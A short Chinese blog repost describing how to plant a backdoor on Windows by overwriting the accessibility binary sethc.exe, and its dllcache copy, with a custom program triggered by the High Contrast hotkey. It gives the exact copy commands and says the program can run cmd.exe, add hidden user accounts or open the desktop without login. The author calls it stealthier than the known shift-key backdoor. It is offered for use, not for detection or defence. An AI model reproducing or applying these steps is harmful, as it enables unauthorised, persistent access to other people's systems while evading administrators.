windows中可以留的新的系统后门

king 安全防护 2023-01-19 420浏览 0

鉴于shift后门已经被管理员开始注意，写出本程序，利用的是高对比这个可以远程调用的辅助工具。 左Alt+左Shift+PrintScreen(截屏键，一般位于键盘右上) 。设本程序为ade.exe则运行以下命令即可 copy %systemroot%\system32\sethc.exe %systemroot%\system32\sethc.exe.exe copy ade.exe %systemroot%\system32\sethc.exe copy ade.exe %systemroot%\system32\dllcache\sethc.exe pause 注：左alt+左shift+PrintScreen，输入你设定的后门启动密码，

可执行 cmd.exe和程序自己添加自定义用户（调用API防止cmd.exe被禁用）也可以直接不添加用户，而进入系统桌面，隐蔽性更高。

转载请注明：IT运维空间 » 安全防护 » windows中可以留的新的系统后门